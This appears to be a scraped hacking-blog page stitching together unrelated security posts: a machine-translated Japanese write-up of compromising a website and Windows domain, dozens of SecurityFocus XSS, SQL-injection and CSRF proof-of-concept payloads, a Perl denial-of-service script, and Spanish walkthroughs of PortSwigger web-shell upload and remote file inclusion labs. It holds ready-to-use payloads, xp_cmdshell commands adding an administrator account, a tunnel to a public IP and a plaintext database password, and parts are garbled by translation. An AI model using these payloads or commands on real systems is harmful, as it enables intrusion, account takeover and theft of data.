Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863280926

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00実験目的

ドメイン環境で他のホストのウェブサイトソースコードを取得する

0x01浸透アイデア

ウェブサイトシェルを取得することにより、イントラネットはイントラネットに侵入し、イントラネットはドメイン制御権限を取得し、ドメイン制御は他のドメインに侵入してリソースを取得します。

0x02実験プロセス

ターゲットWebサイトIPにアクセスし、静的なWebサイトであることがわかりました。ウェブサイトのフロントデスクは使用できないことがわかりました。ウェブサイトのバックエンドを爆発させてみてください

1049983-20220124163402950-1967122822.jpg

Yujianを使用して背景をスキャンすると、バックグラウンドログインインターフェイスは見つかりませんでしたが、robots.txtファイルが見つかりました。 robots.txtをチェックして、内部にWebサイトのバックグラウンドディレクトリがあることを確認します。

1049983-20220124163403382-1552410908.jpg

Webサイトのバックエンドページにアクセスしてください

1049983-20220124163403756-1339755790.jpg

Burp Brute Force Crackingを使用して、Webサイトのバックエンド管理者アカウントのパスワードが正常に爆破されていることを確認してください。

1049983-20220124163404210-506006033.jpg

爆破された管理者アカウントのパスワードを使用して、Webサイトバックエンドに正常にログインします(PS:ログイン時にフル機能ログインを選択)

1049983-20220124163404669-1982582599.jpg

テンプレートフォルダー名は、インターフェイススタイルのテンプレート選択で変更できることがわかりました。テンプレートフォルダー名を1.ASPに変更し、IISの解析脆弱性を使用しようとしました。

1049983-20220124163405071-1899546659.jpg

次に、インターフェイススタイルの編集テンプレート/CSSファイルでASPX文トロジャンをHTMLファイルに追加して、テンプレートを追加します

1049983-20220124163405394-1528669503.jpg

包丁を使用して、私たちが書いたトロイの木馬に正常に接続する

1049983-20220124163405782-2127696447.jpg

文のトロイの木馬を使用してASPX馬をアップロードして操作を容易にします

1049983-20220124163406232-1999358840.jpg

ホストがデュアルネットワークカードであることを確認して、2つのイントラネットIPセグメントを取得します。

1049983-20220124163406624-147209614.png

ホストのキャッシュ情報を確認して、いくつかのイントラネットIPを見つける

1049983-20220124163407040-37093832.jpg

192.168.152.173がポート1433を有効にしていることを確認して見つけると、データサーバーである可能性があると推測します

1049983-20220124163407519-1048786080.jpg

Webサイトの構成ファイルを確認し、データベースアカウントのパスワードを発見します

1049983-20220124163408026-743453725.png

ASPXマレーシアを使用してデータベースに正常にログインし、システムの許可であることがわかりました

1049983-20220124163408481-1964824544.jpg

ドメイン内のすべてのユーザー名を表示します

1049983-20220124163408919-1191946540.jpg

ドメイングループ名をクエリします

1049983-20220124163409381-182094805.jpg

現在のドメイン内のコンピューターのリストを表示します

1049983-20220124163409768-603325688.png

クエリドメイン管理者

1049983-20220124163410230-765980537.png

データベースシェルを使用してアカウントを追加し、管理者グループに追加します

1049983-20220124163410647-1330282431.png

また、192.168.152.173がポート3389を開設したこともわかった

1049983-20220124163411066-64845405.jpg

Regeorg+proxifierを使用してプロキシを設定してリモートログインを試してください

1049983-20220124163411528-716826967.png

以前に追加した管理者アカウントパスワードを使用して、リモートデスクトップに正常にログインします。ログインするときは、オプションを構成し、ローカルツールフォルダーをターゲットマシンにマウントします。

1049983-20220124163412048-368456439.jpg

リモートデスクトップに正常にログインします

1049983-20220124163412553-501831887.png

ファイル共有を使用してquarkspwdump.exeをアップロードし、quarkspwdump.exeを使用してシステム管理者のパスワードをつかみ、それをtxtファイルにエクスポートします

1049983-20220124163413020-897540126.png

MD5を使用して、解決できないことがわかりました

1049983-20220124163413461-1843470132.png

ドメイン内のホストには、特定の命名ルールがあることがわかっています。シェルを取得するWebサイトを確認すると、Webサイトのルートディレクトリにはgame.fbi.gov.usという名前が付いていることがわかります。手動テストを通じて、ドメイン名oa.fbi.gov.usのウェブサイトがあります。

1049983-20220124163413811-1185841690.jpg

oa.fbi.gov.usドメイン名ディスカバリーはソースコードライブラリログ管理システムです

1049983-20220124163414230-697715797.jpg

ASPユニバーサルパスワードを使用して、ログインをバイパスしてみてください。アカウント:liufeng 'または' 1 '=’ 1パスワードは任意であり、バックグラウンドに正常にログインします

1049983-20220124163414697-178476293.jpg

ストレージXSSは追加ログにあります

1049983-20220124163415176-2083639666.jpg

追加したログをクリックしてプロパティを確認し、追加されたログのURLを見つけます

1049983-20220124163415681-1128422050.png

得られたURLに注入があるかどうかをテストし、500の誤差があることがわかります。

1049983-20220124163416115-1429454342.png

Dインジェクションツールを使用して、Webサイトバックエンドにログインします

1049983-20220124163416574-1446420790.jpg

次に、URLを挿入しようとし、管理者のパスワードが正常に噴射されていることがわかりました。ユーザー名は何らかの理由で出てきませんでしたが、問題は大きくありませんでした。上記のいくつかのユーザー名はすでに多くないので、1つずつ試すことができます。

1049983-20220124163417085-66586380.png

前にアクセスしたユーザー名とパスワードを使用して、ドメイン内の他のホストにログインしようとします

1049983-20220124163417519-892340131.png

他のホストに正常にログインしてから、ドメイン内の他のPCからファイルを表示およびダウンロードできます

1049983-20220124163417948-183238433.png 1049983-20220124163418365-119348494.png

0x03要約

1。ターゲットWebサイトIPへのアクセスは静的なWebサイトです。ウェブサイトのフロントデスクは使用できないことがわかります。 Yujianディレクトリスキャンツールを介してディレクトリをスキャンします。 robots.txtが存在することがわかります。 robots.txtが存在することがわかります。 Webサイトのバックエンドページがあることがわかります。バックグラウンドに検証コードがありますが、検証コードには長い時間があります。それはBPで爆破することができ、ユーザー名とパスワードは正常に破壊されます。 admin/passw0rd3333333399.106.226.95:9235/admin3です。 NAMPを使用してターゲットWebサイトIPをスキャンし、システムがWindows IIS6.0であり、ポート80が有効であることを確認します。 14.テンプレートフォルダー名は、インターフェイススタイルのテンプレート選択で変更できることがわかり、テンプレート名は1.ASP15に変更できます。次に、テンプレート名1.HTMLをインターフェイススタイル編集テンプレート/CSSファイルに追加してテンプレートを追加すると、コンテンツはASP%EAVLリクエスト(「パス」)%16の文です。包丁を介して文を正常に接続し、抑えナイフにASPXをアップロードしてすぐに行きます。

17。ASPXマレーシアのコマンド実行を介して、ネットワークカードのIPアドレスを確認し、2つのネットワークカード、1つのネットワークカードIPアドレス192.168.152.182があり、もう1つのネットワークカードは192.168.79.128CMDPath3:C: \ Windowsホストのキャッシュ情報を確認して、いくつかのイントラネットIPS(192.168.152.182、192.168.152.173、192.168.152.180)CMDPath:C: \ Windows \ System32 \マレーシアでは、1433年と3389ポート20が有効になっていることがわかりました。 Webサイトの構成ファイルを表示し、データベースアカウントのパスワード21.ASPXマレーシアのデータベース関数を使用して、データベースに正常にログインし、システムの許可があることがわかりました。 connstring:Server=192.168.152.173; uid=sa; pwd=piy88pro*jnj24e3; database=master; probider=sqloledbsec: xp_cmdshell_execrun sql3:exec mastr 'Whoami'22。ドメインsqlexec: xp_cmdshell_execrun sql:exec master.dbo、xp_cmdshell 'dequery users '23のすべてのユーザー名をクエリします。ドメイングループ名sqlexec: xp_cmdshell_execrun sql:exec master.dbo、xp_cmdshell 'netグループ /ドメイン'24。現在のドメインのコンピューターのリストを確認し、Webサーバー、ファイルサーバー、DBサーバーなどのホスト名があることを確認します。SQLEXEC:XP_CMDSHELL_EXECRUNSQL3:EXEC MASTEC MASTEC、XP_CMDSHELL 'Net View'25。ドメイン管理者、管理者ユーザーのsqlexec3360 xp_cmdshell_execrun sql3:exec master.dbo、xp_cmdshell 'netグループ'ドメイン管理者' /domain'26をクエリします。データベースシェルを使用してアカウントを追加し、管理者グループExec Master.dbo、XP_CMDSHELL 'ネットユーザーDDDパスワード#111 /ADD'EXEC MASTER.DBO、XP_CMDSHELL'ネットローカルグループ管理者DDD /ADD'13に追加します。 regeorgsocksproxyのASPXスクリプトファイルをASPX(39.106.226.95)を介してターゲットシステムにアップロードし、リンクhttp://39.106.226.95:9235/tunnel.aspx14にアクセスします。構成後、Regeoryはローカルチャネルとターゲットチャネルを開き、Python Regeorgsocksproxy.py -P 8888 -L 0.0.0.0 -U http://39.106.226.95:9235/tunnel.aspxを実行するために使用されます。

15. ProxifierにSocks4プロキシを設定し、プロキシSocks4 127.0.0.1 888816を追加します。リモートでロギングするときにオプションを構成し、ローカルツールフォルダーをターゲットマシンにマウントする

17. quarkspwdump.exeをファイル共有を使用してアップロードし、quarkspwdump.exeを使用してシステム管理者のパスワードをつかみ、TXTファイルにエクスポートします。 MD5をアンラップできないことがわかりました18。ウェブサイトのルートディレクトリには別のディレクトリがあります。これはoa.fbi.gov.usです。次に、このディレクトリコマンドにWebサイトドメイン名として直接アクセスし、ソースコードライブラリログ管理システムであることがわかります。 19。ASPユニバーサルパスワードを使用して、ログインをバイパスしてみてください。アカウント:admin ’または' 1 '=’ 1パスワードは任意であり、バックグラウンドにログインしてください20。ストレージタイプXSS21を見つけます。追加されたログをクリックして、属性を確認します。 URL http://oa.fbi.gov.us/logive.asp?id=39422を見つけます。 AH DインジェクションツールまたはSQLMAPツールを使用して、ユーザー名とパスワードを正常に噴射します23。正常に挿入されたユーザー名とパスワードを使用して、デスクトップに正常にログインします。

元のリンク:https://Blog.csdn.net/weixin_44991517/article/details/93896401

source: https://www.securityfocus.com/bid/47580/info

PHPList is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHPList 2.10.13 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/?page=user&start=0&id=USER_ID&find=&sortby=&sortorder=desc&unconfirmed=0&blacklisted=0" method="post" name="main"
enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="list" value="">
<input type="hidden" name="id" value="USER_ID">
<input type="hidden" name="returnpage" value="">
<input type="hidden" name="returnoption" value="">
<input type="hidden" name="email" value=&#039;email2@example.com"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="confirmed" value="1">
<input type="hidden" name="htmlemail" value="123">
<input type="hidden" name="rssfrequency" value="2">
<input type="hidden" name="password" value="test">
<input type="hidden" name="disabled" value="0">
<input type="hidden" name="extradata" value="add">
<input type="hidden" name="foreignkey" value="forkey">
<input type="hidden" name="change" value="Save Changes">
</form>
<script>
document.main.submit();
</script>
            
source: https://www.securityfocus.com/bid/47582/info

PHP F1 Max's Photo Album is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/showimage.php?id=[XSS] 
            

En este post vamos a estar resolviendo el laboratorio de PortSwigger: “Web shell upload via extension blacklist bypass”.

image 64

Para resolver el laboratorio tenemos que subir un archivo PHP que lea y nos muestre el contenido del archivo /home/carlos/secret. Ya que para demostrar que hemos completado el laboratorio, deberemos introducir el contenido de este archivo.

Además, el servidor está configurado para que no acepte ciertas extensiones.

En este caso, el propio laboratorio nos proporciona una cuenta para iniciar sesión, por lo que vamos a hacerlo:

image 65
image 66

Una vez hemos iniciado sesión, nos encontramos con el perfil de la cuenta:

image 67

Como podemos ver, tenemos una opción para subir archivo, y concretamente parece ser que se trata de actualizar el avatar del perfil. Vamos a intentar aprovecharnos de esta opción para subir el siguiente archivo PHP:

image 68

Antes que nada, vamos a preparar Burp Suite para que intercepte la petición:

image 69
image 70

Una vez tenemos Burp Suite listo junto al proxy, seleccionamos el archivo y le damos a “Upload”:

image 71
image 72
image 73

Aquí Burp Suite interceptará la petición de subida del archivo:

image 74

Para tratar mejor con la petición y poder analizar de mejor manera la respuesta del servidor, vamos a pasar la petición al repeater con Ctrl R.

Una vez pasado, le damos a “Send” para ver la respuesta del servidor a la petición por defecto:

image 75

Nos dice que los archivos PHP no están permitidos. Por lo que la idea va a ser probar alternativas a la extensión de PHP para ver si no están definidas en la blacklist. En wikipedia podemos ver los tipos de extensiones asociadas a PHP:

image 76

Dicho esto, pasamos la petición del repeater al intruder pulsando Ctrl I. Una vez tengamos la petición en el intruder, le daremos al botón de clear para quitar los lugares de sustitución que se ponen por defecto:

image 77

Como lo que nos interesa es lanzar varias peticiones y que la diferencia entre cada una solo sea la extensión, declararemos un campo de sustitución en la extensión del nombre del archivo:

image 78

Con esto hecho, nos dirigiremos a la pestaña de “Payloads”:

image 79

Una vez aquí, definiremos nuestro diccionario, es decir, el diccionario que se usará para sustituir la extensión por defecto, por las definidas en el diccionario:

image 80
image 81

Una vez tengamos el diccionario de extensiones a probar hecho, nos dirigiremos a la pestaña de “Options” y a la parte de “Grep – Extract”:

image 82

Una vez aquí, estableceremos el string por el que queremos que filtre en las distintas respuestas, para que cuando no posea el string indicado, podamos detectar la respuesta en la que no lo esté rápidamente:

image 83

Una vez hecho, nos dirigiremos de nuevo a la pestaña de “Payloads” para empezar el ataque:

image 84
image 85

Se nos abrirá una nueva ventana referente al ataque:

image 86

En este caso, como podemos ver, parece que la única extensión que el servidor no permite, es la PHP. Por lo que presuntamente se han subido todas las demás. Vamos a ver la respuesta a la última petición en el navegador, para ello hacemos lo siguiente:

image 87
image 88
image 89
image 90

Una vez tengamos la respuesta, podemos desactivar el burp suite porque no haremos mas uso de él:

image 91

Con esto hecho, volvemos a nuestro perfil:

image 92

Ahora, si nos fijamos en el perfil, podemos ver como el avatar ha cambiado, y ahora muestra un fallo de que no carga bien la imagen:

image 93

Dándole click derecho, podemos irnos a la ruta directa de la imagen para ver si se trata de nuestro archivo PHP:

image 94
image 95

Ojo, el archivo parece que existe porque no nos da error 404, sin embargo, no se interpreta del todo ya que no ha leido el archivos que le hemos indicado que lea. No pasa nada, antes de entrar en panico vamos a probar con los demas archivos con otra extensión que hemos subido, por ejemplo, el phtml:

image 96

Este si nos lo interpreta, y de esta forma conseguimos leer el archivo secret.

Habiéndolo leído, ya simplemente entregamos la solución:

image 97
image 98

Y de esta forma, completamos el laboratorio:

image 99
image 100

Aunque lo hayamos solucionado de esta forma, la solución de PortSwigger me parece super chula e importante de comentar:

  1. Nos logueamos y subimos una imagen de nuestro avatar, con esto hecho, volvemos a la página de nuestro perfil.
  2. En el burp suite, nos dirigimos a Proxy > HTTP History. Aquí podremos ver una petición GET a la ruta /files/avatars/<archivo>. Enviamos esta respuesta al repeater.
  3. En nuestro sistema, creamos un archivo que se llame exploit.php que contenta un código que lea el contenido del archivo secret del usuario Carlos. Por ejemplo: <?php echo file_get_contents('/home/carlos/secret'); ?>
  4. Intentamos subir este archivo como nuestro avatar. La respuesta del servidor nos indicará que no se permiten archivos de extensión PHP.
  5. En el HTTP History ahora buscaremos la petición POST en la que hemos intentado subir el archivo php. En la respuesta del servidor a esta petición, nos podremos dar cuenta de que estamos tratando con un servidor apache. Dicho esto, enviamos esta petición al repeater.
  6. En la petición POST que ahora tenemos en el repeater, vamos a hacer los siguientes cambios:
    1. Cambiamos el nombre del archivo a .htaccess.
    2. Cambiamos el valor de Content-Type a text/plain
    3. Reemplazamos el contenido del archivo (el código PHP) por la siguiente directiva de apache: AddType application/x-httpd-php .l33t Esta directiva añadirá una nueva extensión al servidor, además, indicando que el tipo de MIME es application/x-httpd-php, lo que quiere decir que se comportará como un archivo PHP. Como el servidor hace uso de mod_php (módulo de PHP para apache), sabrá y entenderá lo que le estamos diciendo.
  7. Enviamos la petición, y veremos que el servidor nos indicará en la respuesta que el archivo se ha subido correctamente.
  8. Ahora volvemos a la petición original del archivo PHP, y lo único que cambiaremos será el nombre. Cambiaremos exploit.php por por ejemplo, exploit.l33t. Con esto, enviamos la petición y veremos que se ha subido correctamente.
  9. Ahora, volviendo a la petición GET del /files/avatars/<archivo> donde archivo será exploit.l33t, al hacerla, en la respuesta se nos devolverá el secret de Carlos.
  10. Mandamos la solución y laboratorio completado.

source: https://www.securityfocus.com/bid/47593/info

Football Website Manager is prone to an SQL-injection vulnerability and multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

Football Website Manager 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/profile.php?fileId=[SQL Injection] 
            
source: https://www.securityfocus.com/bid/47595/info

Multiple Joostina components are prone to an SQL-injection vulnerability because they fail to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the applications, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following components are vulnerable:

'com_frontpage' 1.3.0.4_stable
'com_users'

Other components may also be affected. 

http://www.example.com/[Path]/index.php?option=com_users&task=profile&user=11+AND+1=0
http://www.example.com/[Path]/index.php?option=com_frontpage&Itemid=1&limit=4&limitstart=[SQL-Inj3cT-Here] 
            
source: https://www.securityfocus.com/bid/47599/info

up.time software is prone to a remote authentication-bypass vulnerability.

Attackers can exploit this issue to bypass authentication and perform unauthorized actions.

up.time 5 is vulnerable; other versions may also be affected.

http://www.example.com:9999/index.php?userid=admin
&firstTimeLogin=True
&password=admin
&confirmPassword=admin
&adminEmail=admin () admin
&monitorEmail=admin () admin 
            
source: https://www.securityfocus.com/bid/47858/info

Novell eDirectory and Netware are prone to a denial-of-service vulnerability.

Remote attackers can exploit this issue to cause a system-wide denial-of-service. 

#!/usr/bin/perl
      # usage: ./novell.pl 10.0.0.1 0x41424344
      use IO::Socket::SSL;
      $socket = new IO::Socket::SSL(Proto=>"tcp",
      PeerAddr=>$ARGV[0], PeerPort=>636);
      die "unable to connect to $host:$port ($!)\n" unless $socket;
      print $socket "\x30\x84" . pack("N",hex($ARGV[1])) .
      "\x02\x01\x01\x60\x09\x02\x01\x03\x04\x02\x44\x4e\x80\x00" ;
      close $socket; print "done\n";
            
Gecko CMS 2.3 Multiple Vulnerabilities

Vendor: JAKWEB
Product web page: http://www.cmsgecko.com
Affected version: 2.3 and 2.2

Summary: Gecko CMS is the way to go, forget complicated, bloated
and slow content management systems, Gecko CMS has been build to
be intuitive, easy to use, extendable to almost anything, running
on all standard web hosting (PHP and one MySQL database, Apache is
a plus), browser compatibility and fast, super fast!

Desc: Gecko CMS suffers from multiple vulnerabilities including
Cross-Site Request Forgery, Stored and Reflected Cross-Site Scripting
and SQL Injection.

Tested on: Apache/2
           PHP/5.4.36


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5222
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5222.php

27.12.2014
---

CSRF Add Admin:
===============
<html>
<body>
<form action="http://server/admin/index.php?p=user&sp=newuser" method="POST">
<input type="hidden" name="jak_name" value="Testingus2" />
<input type="hidden" name="jak_email" value="test2@test.test" />
<input type="hidden" name="jak_username" value="Testusername2" />
<input type="hidden" name="jak_usergroup" value="3" />
<input type="hidden" name="jak_access" value="1" />
<input type="hidden" name="jak_password" value="123123" />
<input type="hidden" name="jak_confirm_password" value="123123" />
<input type="hidden" name="save" value="" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>

usergroup 4 = moderator
          3 = administrator
          2 = member standard
          1 = guest
          5 = banned

Stored XSS (params: jak_img, jak_name, jak_url):
================================================

POST http://server/admin/index.php?p=categories&sp=newcat HTTP/1.1

jak_catparent	0
jak_catparent2	0
jak_footer	1
jak_img	"><script>alert(1);</script>
jak_lcontent	<p>test</p>
jak_lcontent2	
jak_menu	1
jak_name	"><script>alert(2);</script>
jak_name2	
jak_url	"><script>alert(3);</script>
jak_varname	ZSL
save	

SQL Injection (params: jak_delete_log[], ssp):
==============================================

POST /admin/index.php?p=logs&sp=s HTTP/1.1

delete=&jak_delete_log%5B%5D=4%20and%20benchmark(20000000%2csha1(1))--%20&jak_delete_log%5B%5D=2&jak_delete_log%5B%5D=1

--

GET /admin/index.php?p=logs&sp=delete&ssp=3[SQLi] HTTP/1.1

Reflected XSS:
==============

/admin/index.php [horder%5B%5D parameter]
/admin/index.php [jak_catid parameter]
/admin/index.php [jak_content parameter]
/admin/index.php [jak_css parameter]
/admin/index.php [jak_delete_log%5B%5D parameter]
/admin/index.php [jak_email parameter]
/admin/index.php [jak_extfile parameter]
/admin/index.php [jak_file parameter]
/admin/index.php [jak_hookshow%5B%5D parameter]
/admin/index.php [jak_img parameter]
/admin/index.php [jak_javascript parameter]
/admin/index.php [jak_lcontent parameter]
/admin/index.php [jak_name parameter]
/admin/index.php [jak_password parameter]
/admin/index.php [jak_showcontact parameter]
/admin/index.php [jak_tags parameter]
/admin/index.php [jak_title parameter]
/admin/index.php [jak_url parameter]
/admin/index.php [jak_username parameter]
/admin/index.php [real_hook_id%5B%5D parameter]
/admin/index.php [sp parameter]
/admin/index.php [sreal_plugin_id%5B%5D parameter]
/admin/index.php [ssp parameter]
/admin/index.php [sssp parameter]
/js/editor/plugins/filemanager/dialog.php [editor parameter]
/js/editor/plugins/filemanager/dialog.php [field_id parameter]
/js/editor/plugins/filemanager/dialog.php [fldr parameter]
/js/editor/plugins/filemanager/dialog.php [lang parameter]
/js/editor/plugins/filemanager/dialog.php [popup parameter]
/js/editor/plugins/filemanager/dialog.php [subfolder parameter]
/js/editor/plugins/filemanager/dialog.php [type parameter]
            
source: https://www.securityfocus.com/bid/47901/info
    
Cisco Unified Operations Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials. Other attacks may also be possible.
    
This issue is being tracked by Cisco Bug ID CSCtn61716.

http://www.example.com/iptm/logicalTopo.do?clusterName=&ccmName=ed1b1"%3balert(1)//cda6137ae
4c
http://www.example.com/iptm/logicalTopo.do?clusterName=db4c1"%3balert(1)//4031caf63d7
            
source: https://www.securityfocus.com/bid/47901/info
   
Cisco Unified Operations Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials. Other attacks may also be possible.
   
This issue is being tracked by Cisco Bug ID CSCtn61716.
   
Cisco Unified Operations Manager versions prior to 8.6 are vulnerable.

http://www.example.com/iptm/faultmon/ui/dojo/Main/eventmon_wrapper.jsp?clusterName=d4f84"%3b
alert(1)//608ddbf972
http://www.example.com/iptm/faultmon/ui/dojo/Main/eventmon_wrapper.jsp?deviceName=c25e8"%3ba
lert(1)//79877affe89
            
source: https://www.securityfocus.com/bid/47901/info
  
Cisco Unified Operations Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials. Other attacks may also be possible.
  
This issue is being tracked by Cisco Bug ID CSCtn61716.
  
Cisco Unified Operations Manager versions prior to 8.6 are vulnerable.

http://www.example.com/iptm/eventmon?cmd=filterHelperca99b<script>alert(1)</script>542256870
d5&viewname=device.filter&operation=getFilter&dojo.preventCache=129851
8961028
http://www.example.com/iptm/eventmon?cmd=getDeviceData&group=/3309d<script>alert(1)</script>
09520eb762c&dojo.preventCache=1298518963370
            

El Remote File Inclusion (RFI) es una vulnerabilidad muy parecida al LFI (Local File Inclusion). La diferencia es que mientras el LFI te permite la inclusión de archivos locales, el RFI te permite incluir archivos remotos.

Claro esto es super turbio, porque si nosotros como atacante nos montamos un servidor web. Podemos aprovechar el RFI de la máquina víctima para que cargue e interprete como si fuera suyo un archivo malicioso que estemos alojando.

Vamos a montarnos la vulnerabilidad en local:

Primero de todo, creamos el archivo PHP que alojará la inclusión de archivos:

image 133

Este es un código sencillo donde a partir de una petición GET, el servidor recibirá un valor por el parámetro «file» e incluirá el archivo con ese nombre en la página.

Con este código, si accedemos a la URL:

  • http://localhost/index.php?file=/etc/hosts

Nos cargará el archivo hosts. Sin embargo, tenemos que habilitar que admita también URLs. Para ello, nos dirigimos a la configuración de PHP, la podemos encontrar con:

image 134

Como en mi caso el servidor web lo voy a montar usando el propio comando PHP, editaré el archivo de configuración de la segunda línea.

Dentro de este archivo, tenemos que buscar la variable allow_url_include:

image 124

Por defecto, el valor de esta variable será Off, por lo que nosotros simplemente la cambiamos a On y listo.

Con esto hecho, ya simplemente nos montamos el servidor web con el comando php:

  • php -S localhost:80
image 135
image 126

Podemos comprobar que el archivo y el servidor web funcionan correctamente, ya que el LFI funciona, esto ocurre porque el LFI y el RFI comparten el mismo código PHP, por lo que al comprobar que el LFI funciona sabemos que todo está correctamente.

Ahora bien, en otro equipo, voy a alojar el archivo malicioso (una webshell) y voy a montar un servidor web:

image 127

Ahora mismo este equipo que es un Debian con IP 192.168.118.131 está compartiendo el archivo sikushell.php.

Por lo que si yo ahora desde el servidor web vulnerable, cambio el /etc/hosts por la dirección del servidor web del Debian, debería de recibir una petición GET:

image 128
image 129

Efectivamente, por el lado del servidor recibo la petición GET, y por el lado del cliente puedo visualizar todo lo este está compartiendo. Ahora, además de especificar el servidor web, vamos a dirigirnos al archivo sikushell.php:

image 130

Parece que existe, pero no nos muestra nada, esto es porque está esperando el parámetro cmd, que es el que hemos indicado en el archivo malicioso:

image 131

Nótese como al concatenar el nuevo parámetro cmd a todo los demás, hemos usado un ampersand (&). Esto es porque la interrogación que corresponde siempre al primer parámetro, ya está siendo usada por el parámetro file.

Parece que se nos interpreta correctamente el archivo malicioso y estamos ejecutando comandos. Si vemos en que máquina estamos, podemos ver que estamos en el kali, dicho de otra forma, el servidor web vulnerable:

image 132

Estamos ejecutando comandos localmente usando un archivo remoto. Esto es básicamente un Remote File Inclusion.

source: https://www.securityfocus.com/bid/47901/info
 
Cisco Unified Operations Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials. Other attacks may also be possible.
 
This issue is being tracked by Cisco Bug ID CSCtn61716.
 
Cisco Unified Operations Manager versions prior to 8.6 are vulnerable.

http://www.example.com/iptm/ddv.do?deviceInstanceName=f3806"%3balert(1)//9b92b050cf5&deviceC
apability=deviceCap
http://www.example.com/iptm/ddv.do?deviceInstanceName=25099<script>alert(1)</script>f813ea8c
06d&deviceCapability=deviceCap
            
source: https://www.securityfocus.com/bid/47899/info

TWiki is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to TWiki 5.0.2 are vulnerable. 


GET /twiki/bin/login/Sandbox/WebHome?%27%221=;origurl=1%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert%280x00039C%29%3C/script%3E

GET /twiki/bin/login/Sandbox/WebHome?sudo=sudo;origurl=http://10.1.10.128/bin/view/Main/TWikiAdminUser%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x00044C%29%3C%2Fscript%3E
            
source: https://www.securityfocus.com/bid/47901/info

Cisco Unified Operations Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials. Other attacks may also be possible.

This issue is being tracked by Cisco Bug ID CSCtn61716.

Cisco Unified Operations Manager versions prior to 8.6 are vulnerable.

http://www.example.com/iptm/advancedfind.do?extn=73fcb</script><script>alert(1)</script>23fbe43447
            
source: https://www.securityfocus.com/bid/47887/info

PHP Calendar Basic is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

PHP Calendar Basic 2.3 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?month=5"><script>alert(&#039;XSS&#039;)</script>&year=2011"><sc ript>alert(document.cookie)</script>

<form action="http://www.example.com/event_add.php?day=27&month=4&year=2011" method="post" name="main">
<input type="hidden" name="month" value="4">
<input type="hidden" name="day" value="27">
<input type="hidden" name="year" value="2011">
<input type="hidden" name="hour" value="20">
<input type="hidden" name="minute" value="00">
<input type="hidden" name="title" value="1<script>alert(&#039;XSS&#039;)</script>">
<input type="hidden" name="description" value="descr">
<input type="submit" id="btn" name="submit" value="Add Event">
</form>
<script>
document.getElementById(&#039;btn&#039;).click();
</script>


http://www.example.com/event_delete.php?day=28&month=4&year=2011&id=1"><script>alert(document.c ookie)</script>
            
source: https://www.securityfocus.com/bid/47877/info

eFront is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

eFront 3.6.9 build 10653 is vulnerable; other versions may also be affected. 

http://www.example.com/efront/www/modules/module_crossword/app/submitScore.php?seq=<script>alert(0)</script>&cookie=<script>alert(0)</script>
            
source: https://www.securityfocus.com/bid/47874/info

Mitel Audio and Web Conferencing is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Audio and Web Conferencing 4.4.3.0 is vulnerable; other versions may also be affected.

https://www.example.com/wd/wdinvite.asp?SID=&#039;><script>alert(1)</script>

https://www.example.com/wd/connect.asp?mode=joinmeeting&uid=&#039;><script>alert(1)</script>&sid=&#039;><script>alert(1)</script>

